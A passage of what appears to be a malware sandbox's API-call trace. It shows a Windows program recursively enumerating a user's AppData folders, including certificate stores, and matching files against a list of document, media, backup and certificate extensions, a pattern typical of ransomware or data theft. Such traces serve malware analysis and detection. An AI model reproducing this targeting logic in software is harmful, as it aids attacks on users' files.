pszSpec="*.mpeg") returned 0 [0088.227] lstrlenA (lpString="*.mpeg") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.djvu") returned 0 [0088.227] lstrlenA (lpString="*.djvu") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.tiff") returned 0 [0088.227] lstrlenA (lpString="*.tiff") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.backup") returned 0 [0088.227] lstrlenA (lpString="*.backup") returned 8 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.pdf") returned 0 [0088.227] lstrlenA (lpString="*.pdf") returned 5 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.cert") returned 0 [0088.227] lstrlenA (lpString="*.cert") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.docm") returned 0 [0088.227] lstrlenA (lpString="*.docm") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.xlsm") returned 0 [0088.227] lstrlenA (lpString="*.xlsm") returned 6 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.dwg") returned 0 [0088.228] lstrlenA (lpString="*.dwg") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.nd") returned 0 [0088.228] lstrlenA (lpString="*.nd") returned 4 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.tlg") returned 0 [0088.228] lstrlenA (lpString="*.tlg") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.lgb") returned 0 [0088.228] lstrlenA (lpString="*.lgb") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mov") returned 0 [0088.228] lstrlenA (lpString="*.mov") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.xdw") returned 0 [0088.228] lstrlenA (lpString="*.xdw") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.ods") returned 0 [0088.228] lstrlenA (lpString="*.ods") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.wav") returned 0 [0088.228] lstrlenA (lpString="*.wav") returned 5 [0088.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mp3") returned 0 [0088.228] lstrlenA (lpString="*.mp3") returned 5 [0088.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.aiff") returned 0 [0088.229] lstrlenA (lpString="*.aiff") returned 6 [0088.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.flac") returned 0 [0088.229] lstrlenA (lpString="*.flac") returned 6 [0088.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.m4a") returned 0 [0088.229] lstrlenA (lpString="*.m4a") returned 5 [0088.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.csv") returned 0 [0088.229] lstrlenA (lpString="*.csv") returned 5 [0088.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0 [0088.229] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.229] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0088.229] lstrcmpA (lpString1=".", lpString2="Speech") returned -1 [0088.229] lstrcmpA (lpString1="..", lpString2="Speech") returned -1 [0088.229] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.229] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech" [0088.230] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned 62 [0088.230] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.231] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.231] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.231] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.231] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.231] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.231] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.231] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700053, dwReserved1=0x650065, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0088.231] lstrcmpA (lpString1=".", lpString2="SystemCertificates") returned -1 [0088.231] lstrcmpA (lpString1="..", lpString2="SystemCertificates") returned -1 [0088.231] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.232] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0088.232] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 74 [0088.232] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.232] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.232] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.233] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.233] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.233] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0088.233] lstrcmpA (lpString1=".", lpString2="My") returned -1 [0088.233] lstrcmpA (lpString1="..", lpString2="My") returned -1 [0088.233] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*") returned="*.*" [0088.233] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0088.233] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 77 [0088.233] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.233] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.233] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.233] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.234] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.234] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0088.234] lstrcmpA (lpString1=".", lpString2="Certificates") returned -1 [0088.234] lstrcmpA (lpString1="..", lpString2="Certificates") returned -1 [0088.234] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*") returned="*.*" [0088.234] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0088.234] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 90 [0088.234] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.234] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.234] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.235] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.235] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.235] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.235] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.235] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650043, dwReserved1=0x740072, cFileName="CRLs", cAlternateFileName="")) returned 1 [0088.235] lstrcmpA (lpString1=".", lpString2="CRLs") returned -1 [0088.235] lstrcmpA (lpString1="..", lpString2="CRLs") returned -1 [0088.235] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*") returned="*.*" [0088.235] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0088.235] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 82 [0088.235] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.236] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.236] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.236] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.236] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.236] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.236] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.236] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x73004c, cFileName="CTLs", cAlternateFileName="")) returned 1 [0088.236] lstrcmpA (lpString1=".", lpString2="CTLs") returned -1 [0088.236] lstrcmpA (lpString1="..", lpString2="CTLs") returned -1 [0088.236] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*") returned="*.*" [0088.236] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0088.236] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 82 [0088.236] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.237] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.237] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.237] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.237] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.237] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.237] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.237] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x73004c, cFileName="CTLs", cAlternateFileName="")) returned 0 [0088.237] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.237] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0088.238] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.238] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0088.238] lstrcmpA (lpString1=".", lpString2="Templates") returned -1 [0088.238] lstrcmpA (lpString1="..", lpString2="Templates") returned -1 [0088.238] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.238] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS 